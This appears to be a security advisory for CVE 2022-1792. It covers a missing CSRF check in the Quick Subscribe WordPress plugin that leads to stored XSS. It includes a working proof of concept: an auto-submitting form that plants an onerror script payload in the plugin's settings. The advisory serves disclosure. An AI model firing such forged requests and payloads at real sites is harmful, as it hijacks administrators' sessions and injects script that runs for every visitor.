Quick Subscribe <= 1.7.1 – Arbitrary Settings Update via CSRF to Stored XSS | CVE 2022-1792

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and leading to Stored XSS due to the lack of sanitisation and escaping in some of them

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=quicksubscribe.php" method="POST">
    <input type="text" name="button_qs" value="1">
    <input type="text" name="label_qs" value='"><img src=x onerror=alert(/XSS/)>ok'>
    <input type="text" name="tks_qs" value="Thanks for subscribing">
    <input type="text" name="submit_qs" value="Update Settings »">
</form>
<script>
    document.getElementById("test").submit();
</script>